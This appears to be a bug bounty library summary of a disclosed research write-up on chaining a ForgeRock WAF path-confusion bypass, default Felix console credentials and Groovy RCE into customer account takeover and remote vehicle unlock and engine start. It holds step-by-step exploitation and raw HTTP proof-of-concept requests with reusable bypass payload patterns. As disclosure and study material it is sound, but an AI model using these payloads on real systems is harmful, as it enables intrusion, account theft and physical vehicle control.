# Hacking Two Automakers: ForgeRock Path Confusion, RCE, and Remote Vehicle Access

Path-confusion bypass of ForgeRock's WAF reached a Felix console with default admin:admin, yielding Groovy RCE on OpenIDM and full account/vehicle takeover for two automakers.

- Payout: Research
- Severity: critical
- Program: ForgeRock OpenIDM
- Write-up by: Sam Curry
- Disclosed: 2026-11-07
- Write-up quality: 10/10
- Original: https://samcurry.net/forgerock
- Library page: https://bugbountylibrary.com/r/blog%3Asamcurry-net-forgerock
- Tags: area:cloud domain:cloud domain:web impact:ato impact:internal-access impact:rce kind:research platform:research sev:critical tech:aws tech:java technique:chained technique:parser-differential vuln:access-control vuln:auth-bypass vuln:path-traversal vuln:rce

**Target:** ForgeRock AM/IDM (OpenIDM) behind AWS edge WAF, Apache Felix Web Console, telematics APIs
**Root cause:** Edge WAF and Jetty/CREST parse the same URL differently: `/static%2f..;/system%2fconsole;/bundles/.json` looks static to the WAF but Jetty decodes slashes, strips `;` params and resolves `..` to reach the Felix console, which still accepts default admin:admin. ConfigMgr then lets the OpenIDM scheduler run inline Groovy.
**Steps:**
1. Send `GET /static%2f..;/system%2fconsole;/bundles/.json` with `Authorization: Basic YWRtaW46YWRtaW4=` (admin:admin) to reach the hidden Felix console and list bundles.
2. POST to `/static%2f..;/system%2fconsole;/configMgr/%5BTemporary%20PID%20replaced%20by%20real%20PID%20upon%20save%5D` with `apply=true&factoryPid=org.forgerock.openidm.schedule&propertylist=jsonconfig&jsonconfig=...` containing a disabled schedule whose `invokeService=script`, `type=groovy`, `source` installs an OSGi servlet bundle.
3. Re-POST to the returned PID with `enabled=true` to execute the Groovy installer, which installs and starts the proof bundle via Felix ShellService.
4. POST `cmd=ls` to `/static%2f..;/waf-proof-<id>/cmd?token=...` to confirm command execution; read `idm.username`/`idm.password` from the process environment.
5. Use the servlet to curl `localhost:8080/openidm/managed/user` with `X-OpenIDM-Username: idmadmin` headers (scheme-less to avoid WAF) to query and PATCH victim records.
6. PATCH `/mail` and `/password` (clearing `hasToCreatePass`/`changePassNextLogin`) on the victim managed user, then complete the MobileAppSignIn journey using a controlled inbox for the OTP.
7. Exchange the ForgeRock session via `/oauth2/.../authorize` (PKCE plain) and `/access_token` for mobile app tokens, then call `/autoapi/v6/account`, `/autoapi/v4/vehicles/guid`, and remote command endpoints (`doors-unlock`, `engine-start`).
**How found:** Traced both apps' login flows to shared ForgeRock; noticed `/openidm/endpoint/validateEmail` and probed managed-user/admin paths. Blocked paths plus differing responses to encoding/method/separator variations suggested edge-vs-backend path parsing mismatch; combined `/static` prefix with `%2f`, `..;`, and `;` params to make the edge see static while Jetty resolved admin routes.
**Exploitation:** Attacker reaches Felix console via encoded path, uses default admin:admin, creates a disabled OpenIDM schedule with inline Groovy, enables it to install an OSGi command servlet, then pivots over localhost with recovered idmadmin creds to rewrite any customer's email/password, logs in through the normal ForgeRock journey, exchanges the session for OAuth mobile tokens, and issues vehicle commands (unlock, engine start/stop) and reads location/telemetry.
**Escalation:** WAF bypass → default-cred Felix console → Groovy RCE → localhost pivot to OpenIDM managed users → account takeover → OAuth token exchange → vehicle remote control.
**Insight:** When an edge WAF fronts a Java servlet stack, test `/static%2f..;/<admin-path>;/<plugin>` style payloads: semicolon params and encoded slashes are stripped by Jetty but not by the WAF, and Felix/CREST re-parse the canonical path differently. Also always try documented defaults (admin:admin) on any reachable Felix console.

## Proof of concept (copied exactly from the original report)

**WAF bypass to Felix console with default creds**

```
GET /static%2f..;/system%2fconsole;/bundles/.json HTTP/1.1
Host: openidm.automaker1.example
Authorization: Basic YWRtaW46YWRtaW4=
Accept: application/json
Accept-Encoding: identity
Connection: close
```

**ConfigMgr POST creating Groovy schedule installer**

```
POST /static%2f..;/system%2fconsole;/configMgr/%5BTemporary%20PID%20replaced%20by%20real%20PID%20upon%20save%5D HTTP/1.1
Host: openidm.automaker1.example
Authorization: Basic YWRtaW46YWRtaW4=
Cookie: INGRESSCOOKIE=1771327827.628.1370.731091|d9d3d1c276f880a4762689fb631664e2
Content-Type: application/x-www-form-urlencoded
Accept: application/json,text/plain,text/html;q=0.9,*/*;q=0.8
Connection: close

apply=true&factoryPid=org.forgerock.openidm.schedule&propertylist=jsonconfig&jsonconfig=%7B%22enabled%22%3Afalse%2C%22persisted%22%3Afalse%2C...%7D
```

